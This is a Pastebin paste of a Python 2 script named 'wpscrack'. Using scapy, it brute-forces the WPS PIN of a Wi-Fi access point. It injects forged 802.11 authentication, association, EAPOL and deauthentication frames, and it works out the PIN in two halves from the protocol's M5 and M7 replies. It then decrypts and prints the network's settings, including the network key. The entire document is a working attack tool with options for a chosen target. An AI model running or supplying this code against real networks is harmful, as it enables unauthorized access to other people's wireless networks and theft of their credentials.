Joker0day

wpscrack

Dec 30th, 2017
252
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 24.85 KB | None | 0 0
  1. #!/usr/bin/env python
  2. '''
  3. This software was written by Joker
  4. based on the Windows Connect Now - NET spec and code in wpa_supplicant.
  5. Consider this beerware. Prost!
  6. '''
  7.  
  8. import logging
  9. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  10. import time, threading, hmac, hashlib, sys, optparse, random
  11. from struct import pack, unpack
  12. from Crypto.Cipher import AES
  13. from scapy.all import *
  14.  
  15. class WPSCrack:
  16.     verbose = None
  17.     client_mac = None
  18.     bssid = None
  19.     ssid = None
  20.     secret_number = None
  21.     timeout_time = None
  22.     pin = None
  23.    
  24.     # 1536-bit MODP Group from RFC 3526
  25.     prime_str = 'FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD1'\
  26.                 '29024E088A67CC74020BBEA63B139B22514A08798E3404DD'\
  27.                 'EF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245'\
  28.                 'E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED'\
  29.                 'EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3D'\
  30.                 'C2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F'\
  31.                 '83655D23DCA3AD961C62F356208552BB9ED529077096966D'\
  32.                 '670C354E4ABC9804F1746C08CA237327FFFFFFFFFFFFFFFF'
  33.     prime_int = int(prime_str, 16)
  34.    
  35.     rcved_auth_response = False
  36.     rcved_asso_response = False
  37.     rcved_eap_request_identity = False
  38.     rcved_m1 = False
  39.     rcved_m3 = False
  40.     rcved_m5 = False
  41.    
  42.    
  43.     m4_sent = False
  44.     got_fist_half = False
  45.     done = False
  46.  
  47.     request_EAP_id = 0
  48.     last_msg_buffer = ''
  49.     rcved = threading.Event()
  50.     ENonce = ''
  51.     RNonce = ''
  52.     PK_E = ''
  53.     PK_R = ''
  54.     EnrolleeMAC = ''
  55.     AuthKey = ''
  56.     KeyWrapKey = ''
  57.     EMSK = ''
  58.    
  59.     PSK1 = ''
  60.     PSK2 = ''
  61.     E_S1 = ''
  62.     E_S2 = ''
  63.     EHash1 = ''
  64.     EHash2 = ''
  65.     R_S1 = ''
  66.     R_S2 = ''
  67.     RHash1 = ''
  68.     RHash1 = ''
  69.     has_auth_failed = False
  70.     has_timeout = False
  71.     has_retry = False
  72.    
  73.     wps_attributes = {
  74.             0xFF00 : 'Vendor',
  75.             0xFF01 : 'Vendor Type',
  76.             0xFF02 : 'Opcode',
  77.             0xFF03 : 'Flags',
  78.             0x104A : 'Version',
  79.             0x104A : 'Authentication Flags',
  80.             0x1022 : 'Message Type',
  81.             0x1047 : 'UUID E',
  82.             0x1020 : 'MAC',
  83.             0x101a : 'Enrollee Nonce',
  84.             0x1032 : 'Public Key',
  85.             0x1010 : 'Encryption Type Flags',
  86.             0x100d : 'Connection Type Flags',
  87.             0x1008 : 'Config Methods',
  88.             0x100d : 'Wifi Protected Setup State',
  89.             0x1021 : 'Manufacturer',
  90.             0x1023 : 'Model Name',
  91.             0x1024 : 'Model Number',
  92.             0x1042 : 'Serial Number',
  93.             0x1054 : 'Primary Device Type',
  94.             0x1011 : 'Device Name',
  95.             0x103c : 'RF Bands',
  96.             0x1002 : 'Association State',
  97.             0x1012 : 'Device pin',
  98.             0x1009 : 'Configuration Error',
  99.             0x102d : 'OS Version',
  100.             0x1044 : 'Wifi Protected Setup State',
  101.             0x1004 : 'Authentication Type',
  102.             0x1005 : 'Authenticator',
  103.             0x1048 : 'UUID R',
  104.             0x1039 : 'Registrar Nonce',
  105.             0x1014 : 'E Hash 1',
  106.             0x1015 : 'E Hash 2',
  107.             0x103D : 'R Hash 2',
  108.             0x103E : 'R Hash 2',
  109.             0x1018 : 'Encrypted Settings',
  110.             0x103F : 'R-S1',
  111.             0x101e : 'Key Wrap Algorithm',
  112.             0x1016 : 'E-S1',
  113.             0x1017 : 'E-S2',
  114.             0x1003 : 'Auth Type',
  115.             0x100F : 'Encryption Type',
  116.             0x1003 : 'Auth Type',
  117.             0x1027 : 'Network Key',
  118.             0x1028 : 'Network Key Index',
  119.             0x1045 : 'SSID'
  120.             }
  121.    
  122.     wps_message_types = {
  123.                       0x04 : 'M1',
  124.                       0x05 : 'M2',
  125.                       0x07 : 'M3',
  126.                       0x08 : 'M4',
  127.                       0x09 : 'M5',
  128.                       0x0a : 'M6',
  129.                       0x0b : 'M7',
  130.                       0x0c : 'M8',
  131.                       0x0f : 'WSC_DONE',
  132.                       0x0e : 'WSC_NACK'
  133.                       }
  134.  
  135.     def run(self):
  136.         sniffer_thread = threading.Thread(target=self.sniffer)
  137.         sniffer_thread.start()
  138.         time.sleep(1)
  139.            
  140.         authorization_request = RadioTap() / Dot11(proto=0L, FCfield=0L, subtype=11L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, SC=0, type=0L) \
  141.         / Dot11Auth(status=0, seqnum=1, algo=0)
  142.        
  143.         association_request = RadioTap() / Dot11(proto=0L, FCfield=0L, subtype=0L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, SC=0, type=0L) \
  144.         / Dot11AssoReq(listen_interval=5, cap=12548L) \
  145.         / Dot11Elt(info=self.ssid, ID=0, len=len(self.ssid)) \
  146.         / Dot11Elt(info='\x02\x04\x0b\x16\x0c\x12\x18$', ID=1, len=8) \
  147.         / Dot11Elt(info='0H`l', ID=50, len=4) \
  148.         / Dot11Elt(info='\x00P\xf2\x02\x00\x01\x00', ID=221, len=7) \
  149.         / Dot11Elt(info='\x00P\xf2\x04\x10J\x00\x01\x10\x10:\x00\x01\x02', ID=221, len=14)
  150.         # TODO: add 802.11n capabilities
  151.        
  152.         eapol_start = RadioTap() / Dot11(proto=0L, FCfield=1L, subtype=8L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, SC=0, type=2L, ID=0) \
  153.         / Dot11QoS(TID=0L, TXOP=0, Reserved=0L, EOSP=0L) \
  154.         / LLC(dsap=170, ssap=170, ctrl=3) \
  155.         / SNAP(OUI=0, code=34958) \
  156.         / EAPOL(version=1, type=1, len=0)
  157.        
  158.         response_identity = RadioTap() / Dot11(proto=0L, FCfield=1L, subtype=8L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, SC=0, type=2L, ID=0) \
  159.         / Dot11QoS(TID=0L, Reserved=0L, TXOP=0, EOSP=0L) \
  160.         / LLC(dsap=170, ssap=170, ctrl=3) \
  161.         / SNAP(OUI=0, code=34958) \
  162.         / EAPOL(version=1, type=0, len=35) \
  163.         / EAP(code=2, type=1, id=0, len=35) \
  164.         / Raw(load='WFA-SimpleConfig-Registrar-1-0')
  165.                            
  166.         i = 0
  167.         while self.done == False:
  168.             if self.done == True:
  169.                 break
  170.            
  171.             self.rcved_auth_response = False
  172.             self.rcved_asso_response = False
  173.             self.rcved_eap_request_identity = False
  174.             self.rcved_m1 = False
  175.             self.rcved_m3 = False
  176.             self.rcved_m5 = False
  177.             self.m4_sent = False
  178.            
  179.             i += 1
  180.             if self.verbose: print '------------------- attempt #%i' % i
  181.             timeout_timer = threading.Timer(self.timeout_time, self.timeout)
  182.             timeout_timer.start()
  183.             self.has_auth_failed = False
  184.             self.has_timeout = False
  185.             self.has_retry = False
  186.             start_time = time.time()
  187.             print 'Trying', self.pin    
  188.                
  189.             self.send_deauth()
  190.                        
  191.             if self.verbose: print '-> 802.11 authentication request'    
  192.             self.rcved.clear()
  193.             sendp(authorization_request, verbose=0)
  194.             self.rcved.wait()
  195.            
  196.             if self.rcved_auth_response == True:
  197.                 if self.verbose: print '-> 802.11 association request'
  198.                 self.rcved.clear()
  199.                 sendp(association_request, verbose=0)
  200.                 self.rcved.wait()
  201.                                    
  202.                 if self.rcved_asso_response == True:
  203.                     if self.verbose: print '-> EAPOL start'
  204.                     self.rcved.clear()
  205.                     sendp(eapol_start, verbose=0)
  206.                     self.rcved.wait()                        
  207.                        
  208.                     if self.rcved_eap_request_identity == True:
  209.                         if self.verbose: print '-> EAP response identity'
  210.                         response_identity[EAP].id = self.request_EAP_id
  211.                         self.rcved.clear()
  212.                         sendp(response_identity, verbose=0)
  213.                         self.rcved.wait()
  214.                        
  215.                         if self.rcved_m1 == True:
  216.                             if self.verbose: print '-> M2'
  217.                             self.rcved.clear()
  218.                             self.send_M2()
  219.                             self.rcved.wait()
  220.                            
  221.                             if self.rcved_m3 == True:
  222.                                 if self.verbose: print '-> M4'
  223.                                 self.rcved.clear()
  224.                                 self.send_M4()
  225.                                 self.m4_sent = True
  226.                                 self.rcved.wait()
  227.                                
  228.                                 if self.rcved_m5 == True:
  229.                                     if self.verbose: print '-> M6'
  230.                                     self.rcved.clear()
  231.                                     self.send_M6()
  232.                                     self.rcved.wait()
  233.  
  234.             self.send_deauth()
  235.             time.sleep(0.05)
  236.             self.rcved.clear()
  237.             timeout_timer.cancel()
  238.             if self.verbose: print 'attempt took %.3f seconds' % (time.time() - start_time)
  239.             self.gen_pin()
  240.    
  241.     def bignum_pack(self, n, l):
  242.         return ''.join([(chr((n >> ((l - i - 1) * 8)) % 256)) for i in xrange(l)])
  243.  
  244.     def bignum_unpack(self, byte):
  245.         return sum([ord(b) << (8 * i) for i, b in enumerate(byte[::-1])])
  246.    
  247.     def kdf(self, key, personalization_string, el):
  248.         x = ''
  249.         for i in range (1, (sum(el) + 32 - 1) / 32): # slow
  250.             s = pack('!I', i) + personalization_string + pack('!I', sum(el))
  251.             x += hmac.new(key, s, hashlib.sha256).digest()
  252.            
  253.         r = []
  254.         c = 0
  255.         for e in el:
  256.             r.append(x[c:c + (e / 8)])
  257.             c += e / 8
  258.         return r
  259.    
  260.     def gen_keys(self):
  261.         pubkey_enrollee = self.bignum_unpack(self.PK_E)
  262.         pubkey_registrar = pow(2, self.secret_number, self.prime_int)
  263.         shared_key = self.bignum_pack(pow(pubkey_enrollee, self.secret_number, self.prime_int), 192)
  264.  
  265.         self.PK_R = self.bignum_pack(pubkey_registrar, 192)        
  266.         self.RNonce = os.urandom(16)
  267.         DHKey = hashlib.sha256(shared_key).digest()
  268.         KDK = hmac.new(DHKey, self.ENonce + self.EnrolleeMAC + self.RNonce, hashlib.sha256).digest()
  269.         self.AuthKey, self.KeyWrapKey, self.EMSK = self.kdf(KDK, 'Wi-Fi Easy and Secure Key Derivation', [256, 128, 256])
  270.  
  271.         self.R_S1 = '\00' * 16 #random enough
  272.         self.R_S2 = '\00' * 16        
  273.  
  274.         self.PSK1 = hmac.new(self.AuthKey, self.pin[0:4], hashlib.sha256).digest()[:16]
  275.         self.PSK2 = hmac.new(self.AuthKey, self.pin[4:8], hashlib.sha256).digest()[:16]      
  276.         self.RHash1 = hmac.new(self.AuthKey, self.R_S1 + self.PSK1 + self.PK_E + self.PK_R, hashlib.sha256).digest()
  277.         self.RHash2 = hmac.new(self.AuthKey, self.R_S2 + self.PSK2 + self.PK_E + self.PK_R, hashlib.sha256).digest()
  278.        
  279.     def PKCS5_2_0_pad(self, s):
  280.         pad_len = 16 - len(s) % 16;
  281.         x = pack('b', pad_len)
  282.         s += (x * pad_len)[:pad_len]
  283.         return s
  284.  
  285.     def encrypt(self, lst):
  286.         to_enc_s = self.assemble_EAP_Expanded(lst)
  287.         kwa = hmac.new(self.AuthKey, to_enc_s, hashlib.sha256).digest()[0:8]
  288.         iv = '\00' * 16
  289.         to_enc_s += self.assemble_EAP_Expanded([[0x101e, kwa]])
  290.         plaintext = self.PKCS5_2_0_pad(to_enc_s)        
  291.         ciphertext = AES.new(self.KeyWrapKey, AES.MODE_CBC, iv).encrypt(plaintext)
  292.         return iv, ciphertext
  293.    
  294.     def decrypt(self, iv, ciphertext):
  295.         p = AES.new(self.KeyWrapKey, AES.MODE_CBC, iv).decrypt(ciphertext)
  296.         plaintext = p[:len(p) - ord(p[-1])] # remove padding
  297.         return self.disassemble_EAP_Expanded(plaintext)
  298.                                    
  299.     def gen_authenticator(self, msg):    
  300.         return hmac.new(self.AuthKey, self.last_msg_buffer[9:] + msg, hashlib.sha256).digest()[:8]
  301.  
  302.     def send_M2(self):
  303.         if self.ENonce == '':
  304.             print 'enonce is empty!!!'
  305.        
  306.         m2 = [
  307.         [0xFF00, '\x00\x37\x2A'],
  308.         [0xFF01, '\x00\x00\x00\x01'],
  309.         [0xFF02, '\x04'],
  310.         [0xFF03, '\x00'],
  311.         [0x104A, '\x10'],
  312.         # message type:
  313.         [0x1022, '\x05'],
  314.         # enrollee nonce:
  315.         [0x101A, self.ENonce],
  316.         # registrar nonce:
  317.         [0x1039, self.RNonce],
  318.         # uuid registrar:
  319.         [0x1048, '\x12\x34\x56\x78\x9A\xBC\xDE\xF0\x12\x34\x56\x78\x9A\xBC\xDE\xF0'],
  320.         # public key:
  321.         [0x1032, self.PK_R],
  322.         [0x1004, '\x00\x3F'],
  323.         [0x1010, '\x00\x0F'],
  324.         [0x100D, '\x01'],
  325.         [0x1008, '\x01\x08'],
  326.         [0x1021, '\x00'],
  327.         [0x1023, '\x00'],
  328.         [0x1024, '\x00'],
  329.         [0x1042, '\x00'],
  330.         [0x1054, '\x00\x00\x00\x00\x00\x00\x00\x00'],
  331.         [0x1011, '\x00'],
  332.         [0x103C, '\x03'],
  333.         [0x1002, '\x00\x00'],
  334.         [0x1009, '\x00\x00'],
  335.         [0x1012, '\x00\x00'],
  336.         [0x102D, '\x80\x00\x00\x00']
  337.         ]
  338.        
  339.         eap_expanded = self.assemble_EAP_Expanded(m2)
  340.         m = RadioTap() / Dot11(proto=0L, FCfield=1L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, subtype=8L, SC=80, type=2L, ID=55808) \
  341.         / Dot11QoS(TID=0L, Reserved=0L, TXOP=0, EOSP=0L) / LLC(dsap=170, ssap=170, ctrl=3) \
  342.         / SNAP(OUI=0, code=34958) \
  343.         / EAPOL(version=1, type=0, len=383) \
  344.         / EAP(code=2, type=254, id=self.request_EAP_id, len=383) \
  345.         / Raw(load=eap_expanded)
  346.        
  347.         authenticator = self.gen_authenticator(str(m[Raw])[9:])
  348.         m = m / Raw(load=(self.assemble_EAP_Expanded([[0x1005, authenticator]])))
  349.         sendp(m, verbose=0)
  350.  
  351.     def send_M4(self):    
  352.         ConfigData = [[0x103f, self.R_S1]]
  353.         iv, ciphertext = self.encrypt(ConfigData)
  354.  
  355.         m4 = [
  356.         [0xFF00, '\x00\x37\x2A'],
  357.         [0xFF01, '\x00\x00\x00\x01'],
  358.         [0xFF02, '\x04'],
  359.         [0xFF03, '\x00'],
  360.         [0x104A, '\x10'],
  361.         [0x1022, '\x08'],
  362.         # ENonce
  363.         [0x101A, self.ENonce],
  364.         # RHash1
  365.         [0x103D, self.RHash1],
  366.         # RHash2
  367.         [0x103E, self.RHash2],
  368.         # Encrypted RS1
  369.         [0x1018, iv + ciphertext]
  370.         ]
  371.        
  372.         eap_expanded = self.assemble_EAP_Expanded(m4)
  373.         m = RadioTap() / Dot11(proto=0L, FCfield=1L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, subtype=8L, SC=80, type=2L, ID=55808) \
  374.         / Dot11QoS(TID=0L, Reserved=0L, TXOP=0, EOSP=0L) \
  375.         / LLC(dsap=170, ssap=170, ctrl=3) \
  376.         / SNAP(OUI=0, code=34958) \
  377.         / EAPOL(version=1, type=0, len=196) \
  378.         / EAP(code=2, type=254, id=self.request_EAP_id, len=196) \
  379.         / Raw(load=eap_expanded)
  380.        
  381.         authenticator = self.gen_authenticator(str(m[Raw])[9:])
  382.         m = m / Raw(load=(self.assemble_EAP_Expanded([[0x1005, authenticator]])))
  383.         sendp(m, verbose=0)
  384.        
  385.  
  386.     def send_M6(self):
  387.         ConfigData = [[0x1040, self.R_S2]]
  388.         iv, ciphertext = self.encrypt(ConfigData)
  389.         m6 = [
  390.         [0xFF00, '\x00\x37\x2A'],
  391.         [0xFF01, '\x00\x00\x00\x01'],
  392.         [0xFF02, '\x04'],
  393.         [0xFF03, '\x00'],
  394.         [0x104A, '\x10'],
  395.         [0x1022, '\x0A'],
  396.         # ENonce
  397.         [0x101A, self.ENonce],
  398.         # Encrypted RS_1
  399.         [0x1018, iv + ciphertext]
  400.         ]
  401.        
  402.         eap_expanded = self.assemble_EAP_Expanded(m6)
  403.         m = RadioTap() / Dot11(proto=0L, FCfield=1L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, subtype=8L, SC=80, type=2L, ID=55808) \
  404.         / Dot11QoS(TID=0L, Reserved=0L, TXOP=0, EOSP=0L) / LLC(dsap=170, ssap=170, ctrl=3) \
  405.         / SNAP(OUI=0, code=34958) / EAPOL(version=1, type=0, len=124) \
  406.         / EAP(code=2, type=254, id=self.request_EAP_id, len=124) / Raw(load=eap_expanded)
  407.         authenticator = self.gen_authenticator(str(m[Raw])[9:])
  408.         m = m / Raw(load=(self.assemble_EAP_Expanded([[0x1005, authenticator]])))
  409.         sendp(m, verbose=0)
  410.        
  411.     def parse_EAP_Expanded(self, l):
  412.         d = {}
  413.         message_type = None
  414.        
  415.         #performance ?
  416.         for e in l:
  417.             d[e[0]] = e[1]
  418.    
  419.         if 0x1022 in d:
  420.             if ord(d[0x1022]) in self.wps_message_types:
  421.                 message_type = self.wps_message_types[ord(d[0x1022])]
  422.                 if self.verbose: print '<-', message_type
  423.             else:
  424.                 print '< unknown Message Type: 0x%X', ord(d[0x1022])
  425.             if message_type == 'M1':
  426.                 self.ENonce = d[0x101a]
  427.                 self.PK_E = d[0x1032]            
  428.                 self.EnrolleeMAC = d[0x1020]
  429.                 self.gen_keys()
  430.                 self.rcved_m1 = True
  431.             elif message_type == 'M3':
  432.                 self.EHash1 = d[0x1014]
  433.                 self.EHash2 = d[0x1015]
  434.                 self.rcved_m3 = True
  435.             elif message_type == 'M5':
  436.                 # we could validate the data but it makes no sense
  437.                 if self.got_fist_half is False:
  438.                     print 'found first half:', self.pin[0:4]
  439.                 self.got_fist_half = True
  440.                 self.rcved_m5 = True
  441.             elif message_type == 'M7':
  442.                 # juice
  443.                 print '-------------------------- FOUND PIN: %s --------------------------' % self.pin
  444.                 encrypted = d[0x1018]
  445.                 x = self.decrypt(encrypted[:16], encrypted[16:])
  446.                 self.dump_EAP_Expanded(x)
  447.                 self.done = True
  448.             elif message_type == 'WSC_NACK':
  449.                 if self.m4_sent == True:
  450.                     self.has_auth_failed = True
  451.                     nack = [
  452.                     [0xFF00, '\x00\x37\x2A'],
  453.                     [0xFF01, '\x00\x00\x00\x01'],
  454.                     [0xFF02, '\x03'],
  455.                     [0xFF03, '\x00'],
  456.                     [0x104A, '\x10'],
  457.                     [0x1022, '\x0E'],
  458.                     #
  459.                     [0x101A, self.ENonce],
  460.                     [0x1039, self.RNonce],
  461.                     [0x1009, '\x00\x00']
  462.                     ]
  463.                    
  464.                     eap_expanded = self.assemble_EAP_Expanded(nack)
  465.                     m = RadioTap() / Dot11(proto=0L, FCfield=1L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, subtype=8L, SC=80, type=2L, ID=55808) \
  466.                     / Dot11QoS(TID=0L, Reserved=0L, TXOP=0, EOSP=0L) / LLC(dsap=170, ssap=170, ctrl=3) \
  467.                     / SNAP(OUI=0, code=34958) \
  468.                     / EAPOL(version=1, type=0, len=70) \
  469.                     / EAP(code=2, type=254, id=self.request_EAP_id, len=70) \
  470.                     / Raw(load=eap_expanded)
  471.                     if self.verbose: print '-> WCS_NACK'
  472.                     sendp(m, verbose=0)
  473.                 else:
  474.                     print 'got NACK before M4 - something is wrong'
  475.                     self.has_retry = True
  476.             return
  477.                
  478.                
  479.     def sniffer_filter(self, x):
  480.         if (self.done == True):
  481.             return True
  482.         elif (self.rcved.is_set() is False):
  483.             if x.haslayer(Dot11) and x[Dot11].addr1 == self.client_mac and x[Dot11].addr3 == self.bssid:
  484.  
  485.                 if x.haslayer(Dot11Auth) and x[Dot11Auth].status == 0:
  486.                     if self.verbose: print '<- 802.11 authentication response'
  487.                     self.rcved_auth_response = True
  488.                     self.rcved.set()
  489.                 elif x.haslayer(Dot11AssoResp) and x[Dot11AssoResp].status == 0:
  490.                     if self.verbose: print '<- 802.11 association response'
  491.                     self.rcved_asso_response = True
  492.                     self.rcved.set()
  493.                 elif x.haslayer(EAP) and x[EAP].code == 1:
  494.                     self.request_EAP_id = x[EAP].id
  495.                    
  496.                     if x[EAP].type == 254: #Type: Expanded Type
  497.                         self.last_msg_buffer = str(x[Raw])[:-4]
  498.                         disasm = self.disassemble_EAP_Expanded(x[Raw], has_FCS=True, has_start=True)
  499.                         self.parse_EAP_Expanded(disasm)
  500.                         self.rcved.set()
  501.                     elif x[EAP].type == 1:
  502.                         if self.verbose: print '<- EAP request identity'
  503.                        
  504.                         if self.rcved_eap_request_identity == False:
  505.                             self.rcved_eap_request_identity = True
  506.                             self.rcved.set()
  507.                     else:
  508.                         print 'got unknown EAP message:'
  509.                         print x.command()
  510.                        
  511.             return False
  512.         else:
  513.             # discard all messages if we don't want to receive
  514.             return False
  515.    
  516.     def sniffer(self):
  517.         print 'sniffer started'
  518.         sniff(store=0, stop_filter=lambda x: self.sniffer_filter(x))
  519.         print 'sniffer stopped'
  520.         sys.exit()
  521.    
  522.     def timeout(self):
  523.         print 'TIMEOUT!!'
  524.         self.rcved.set()
  525.         self.has_timeout = True
  526.        
  527.     def should_continue(self):
  528.         if self.has_timeout == True or self.has_auth_failed == True or self.has_retry == True:
  529.             return False        
  530.         else:
  531.             return True
  532.            
  533.     def gen_pin(self):
  534.         if self.has_timeout == False and self.rcved_m3 == True:
  535.             if self.got_fist_half == True:
  536.                     pin_int = int(self.pin[0:7]) + 1
  537.             else:
  538.                 pin_int = int(self.pin[0:7]) + 1000
  539.  
  540.             # append checksum
  541.             accum = 0
  542.             t = pin_int
  543.             while (t):
  544.                 accum += 3 * (t % 10)
  545.                 t /= 10
  546.                 accum += t % 10
  547.                 t /= 10
  548.             self.pin = '%07i%01i' % (pin_int, (10 - accum % 10) % 10)
  549.        
  550.     def send_deauth(self):
  551.         if self.verbose:  print '-> 802.11 deauthentication'
  552.         deauth = RadioTap() / Dot11(proto=0L, FCfield=0L, subtype=12L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, SC=0, type=0L, ID=0) \
  553.         / Dot11Deauth(reason=1)
  554.         sendp(deauth, verbose=0)
  555.                
  556.     def disassemble_EAP_Expanded(self, p, has_FCS=False, has_start=False):
  557.         ret = []
  558.         i = 0
  559.         if has_FCS:
  560.             e = str(p)[:-4] #remove FCS
  561.         else:
  562.             e = str(p)
  563.         if has_start:
  564.             ret.append([0xFF00, e[0:3]])
  565.             ret.append([0xFF01, e[3:7]])
  566.             ret.append([0xFF02, e[7:8]])
  567.             ret.append([0xFF03, e[8:9]])
  568.             i = 9
  569.         while i < len(e) - 4:
  570.             data_length = unpack('!H', e[i + 2:i + 4])[0]
  571.             ret.append([unpack('!H', e[i:i + 2])[0], e[(i + 4):(i + 4 + unpack('!H', e[i + 2:i + 4])[0])] ])
  572.             i += data_length + 4
  573.         return ret
  574.    
  575.     def assemble_EAP_Expanded(self, l):
  576.         ret = ''
  577.    
  578.         for i in range(len(l)):
  579.             if l[i][0] & 0xFF00 == 0xFF00:
  580.                 ret += (l[i][1])
  581.             else:
  582.                 ret += pack('!H', l[i][0]) + pack('!H', len(l[i][1])) + l[i][1]
  583.         return ret
  584.  
  585.     def dump_EAP_Expanded(self, lst):
  586.         for e in lst:
  587.             if e[0] in self.wps_attributes:
  588.                 print self.wps_attributes[e[0]], ':'
  589.                 hexdump(e[1])
  590.             else:
  591.                 print 'Message ID 0x%X not found!' % e[0]
  592.                 print e              
  593.                
  594. def main():
  595.     wps = WPSCrack()
  596.     parser = optparse.OptionParser('usage: %prog --iface=IFACE --client=CLIENT_MAC --bssid=BSSID --ssid=SSID [optional arguments]')
  597.     parser.add_option('-i', '--iface', dest='iface', default='', type='string', help='network interface (monitor mode)')
  598.     parser.add_option('-c', '--client', dest='client_mac', default='', type='string', help='MAC of client interface')
  599.     parser.add_option('-b', '--bssid', dest='bssid', default='', type='string', help='MAC of AP (BSSID)')
  600.     parser.add_option('-s', '--ssid', dest='ssid', default='', type='string', help='SSID of AP (ESSID)')
  601.     parser.add_option('--dh', dest='dh_secret', default=1, type='int', help='diffie-hellman secret number')
  602.     parser.add_option('-t', '--timeout', dest='timeout', default=5, type='int', help='timemout in seconds')
  603.     parser.add_option('-p', '--pin', dest='start_pin', default='00000000', type='string', help='start pin for brute force')
  604.     parser.add_option('-v', '--verbose', action='store_true', dest='verbose', default=False, help='verbose')
  605.     (options, _) = parser.parse_args()
  606.    
  607.     if options.iface != '' and options.client_mac != '' and options.bssid != '' and options.ssid != '':
  608.         conf.iface = options.iface
  609.         wps.client_mac = options.client_mac.lower()
  610.         wps.bssid = options.bssid.lower()
  611.         wps.ssid = options.ssid
  612.         wps.secret_number = options.dh_secret
  613.         wps.timeout_time = options.timeout
  614.         wps.verbose = options.verbose
  615.         wps.pin = options.start_pin
  616.        
  617.         wps.run()
  618.     else:
  619.         print 'check arguments or use --help!'
  620.     return
  621.  
  622. if __name__ == '__main__':
  623.     main()
Add Comment
Please, Sign In to add comment